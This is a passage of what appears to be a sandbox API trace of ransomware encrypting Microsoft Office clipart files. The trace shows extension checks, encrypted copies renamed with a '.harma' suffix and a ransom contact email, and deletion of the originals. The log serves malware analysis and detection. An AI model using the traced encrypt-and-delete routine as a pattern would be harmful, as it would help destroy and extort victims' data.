nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.312] SetEndOfFile (hFile=0x37c) returned 1 [0157.312] CloseHandle (hObject=0x37c) returned 1 [0157.312] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.312] SetEndOfFile (hFile=0x334) returned 1 [0157.315] CloseHandle (hObject=0x334) returned 1 [0157.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0157.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.316] lstrlenW (lpString=".doc") returned 4 [0157.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.316] lstrlenW (lpString=".docx") returned 5 [0157.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.316] lstrlenW (lpString=".pdf") returned 4 [0157.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.316] lstrlenW (lpString=".xls") returned 4 [0157.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.316] lstrlenW (lpString=".xlsx") returned 5 [0157.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.316] lstrlenW (lpString=".ppt") returned 4 [0157.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.316] lstrlenW (lpString=".zip") returned 4 [0157.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.317] lstrlenW (lpString=".rar") returned 4 [0157.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.317] lstrlenW (lpString=".bz2") returned 4 [0157.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.317] lstrlenW (lpString=".7z") returned 3 [0157.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.317] lstrlenW (lpString=".dbf") returned 4 [0157.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.317] lstrlenW (lpString=".1cd") returned 4 [0157.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.317] lstrlenW (lpString=".jpg") returned 4 [0157.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.317] lstrlenW (lpString=".doc") returned 4 [0157.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.317] lstrlenW (lpString=".docx") returned 5 [0157.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.317] lstrlenW (lpString=".pdf") returned 4 [0157.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.317] lstrlenW (lpString=".xls") returned 4 [0157.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.317] lstrlenW (lpString=".xlsx") returned 5 [0157.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.317] lstrlenW (lpString=".ppt") returned 4 [0157.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.317] lstrlenW (lpString=".zip") returned 4 [0157.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.318] lstrlenW (lpString=".rar") returned 4 [0157.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.318] lstrlenW (lpString=".bz2") returned 4 [0157.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.318] lstrlenW (lpString=".7z") returned 3 [0157.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.318] lstrlenW (lpString=".dbf") returned 4 [0157.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.318] lstrlenW (lpString=".1cd") returned 4 [0157.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0157.318] lstrlenW (lpString=".jpg") returned 4 [0157.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.318] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.318] lstrlenW (lpString="HH00602_.WMF") returned 12 [0157.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.319] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1400) returned 1 [0157.319] CloseHandle (hObject=0x334) returned 1 [0157.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x20 [0157.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.319] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.319] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.320] GetLastError () returned 0x0 [0157.320] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x578, lpOverlapped=0x0) returned 1 [0157.594] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x580, lpOverlapped=0x0) returned 1 [0157.595] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.595] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.595] SetEndOfFile (hFile=0x37c) returned 1 [0157.595] CloseHandle (hObject=0x37c) returned 1 [0157.599] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.599] SetEndOfFile (hFile=0x334) returned 1 [0157.601] CloseHandle (hObject=0x334) returned 1 [0157.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0157.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.602] lstrlenW (lpString=".doc") returned 4 [0157.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.603] lstrlenW (lpString=".docx") returned 5 [0157.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.603] lstrlenW (lpString=".pdf") returned 4 [0157.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.603] lstrlenW (lpString=".xls") returned 4 [0157.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.603] lstrlenW (lpString=".xlsx") returned 5 [0157.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.603] lstrlenW (lpString=".ppt") returned 4 [0157.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.603] lstrlenW (lpString=".zip") returned 4 [0157.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.603] lstrlenW (lpString=".rar") returned 4 [0157.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.603] lstrlenW (lpString=".bz2") returned 4 [0157.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.603] lstrlenW (lpString=".7z") returned 3 [0157.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.603] lstrlenW (lpString=".dbf") returned 4 [0157.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.603] lstrlenW (lpString=".1cd") returned 4 [0157.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.603] lstrlenW (lpString=".jpg") returned 4 [0157.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.604] lstrlenW (lpString=".doc") returned 4 [0157.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.604] lstrlenW (lpString=".docx") returned 5 [0157.604] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.604] lstrlenW (lpString=".pdf") returned 4 [0157.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.604] lstrlenW (lpString=".xls") returned 4 [0157.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.604] lstrlenW (lpString=".xlsx") returned 5 [0157.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.604] lstrlenW (lpString=".ppt") returned 4 [0157.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.604] lstrlenW (lpString=".zip") returned 4 [0157.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.604] lstrlenW (lpString=".rar") returned 4 [0157.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.604] lstrlenW (lpString=".bz2") returned 4 [0157.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.604] lstrlenW (lpString=".7z") returned 3 [0157.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.604] lstrlenW (lpString=".dbf") returned 4 [0157.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.604] lstrlenW (lpString=".1cd") returned 4 [0157.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0157.604] lstrlenW (lpString=".jpg") returned 4 [0157.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.605] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.605] lstrlenW (lpString="HH00669_.WMF") returned 12 [0157.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.605] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=11490) returned 1 [0157.605] CloseHandle (hObject=0x334) returned 1 [0157.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x20 [0157.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.606] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.606] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.606] GetLastError () returned 0x0 [0157.607] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x2ce2, lpOverlapped=0x0) returned 1 [0157.863] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0157.864] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.864] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.864] SetEndOfFile (hFile=0x37c) returned 1 [0157.893] CloseHandle (hObject=0x37c) returned 1 [0157.893] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.893] SetEndOfFile (hFile=0x334) returned 1 [0157.895] CloseHandle (hObject=0x334) returned 1 [0157.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0157.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.897] lstrlenW (lpString=".doc") returned 4 [0157.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.897] lstrlenW (lpString=".docx") returned 5 [0157.897] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.897] lstrlenW (lpString=".pdf") returned 4 [0157.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.897] lstrlenW (lpString=".xls") returned 4 [0157.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.897] lstrlenW (lpString=".xlsx") returned 5 [0157.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.898] lstrlenW (lpString=".ppt") returned 4 [0157.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.898] lstrlenW (lpString=".zip") returned 4 [0157.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.898] lstrlenW (lpString=".rar") returned 4 [0157.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.898] lstrlenW (lpString=".bz2") returned 4 [0157.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.898] lstrlenW (lpString=".7z") returned 3 [0157.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.898] lstrlenW (lpString=".dbf") returned 4 [0157.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.898] lstrlenW (lpString=".1cd") returned 4 [0157.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.898] lstrlenW (lpString=".jpg") returned 4 [0157.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.899] lstrlenW (lpString=".doc") returned 4 [0157.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.899] lstrlenW (lpString=".docx") returned 5 [0157.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.899] lstrlenW (lpString=".pdf") returned 4 [0157.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.899] lstrlenW (lpString=".xls") returned 4 [0157.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.899] lstrlenW (lpString=".xlsx") returned 5 [0157.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.899] lstrlenW (lpString=".ppt") returned 4 [0157.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.899] lstrlenW (lpString=".zip") returned 4 [0157.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.899] lstrlenW (lpString=".rar") returned 4 [0157.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.899] lstrlenW (lpString=".bz2") returned 4 [0157.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.899] lstrlenW (lpString=".7z") returned 3 [0157.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.899] lstrlenW (lpString=".dbf") returned 4 [0157.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.899] lstrlenW (lpString=".1cd") returned 4 [0157.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0157.899] lstrlenW (lpString=".jpg") returned 4 [0157.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.900] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.900] lstrlenW (lpString="HH00688_.WMF") returned 12 [0157.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.900] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7084) returned 1 [0157.900] CloseHandle (hObject=0x334) returned 1 [0157.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x20 [0157.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.901] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.901] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.902] GetLastError () returned 0x0 [0157.902] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1bac, lpOverlapped=0x0) returned 1 [0157.903] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0157.904] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.904] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.905] SetEndOfFile (hFile=0x37c) returned 1 [0157.905] CloseHandle (hObject=0x37c) returned 1 [0157.905] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.905] SetEndOfFile (hFile=0x334) returned 1 [0157.907] CloseHandle (hObject=0x334) returned 1 [0157.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.907] 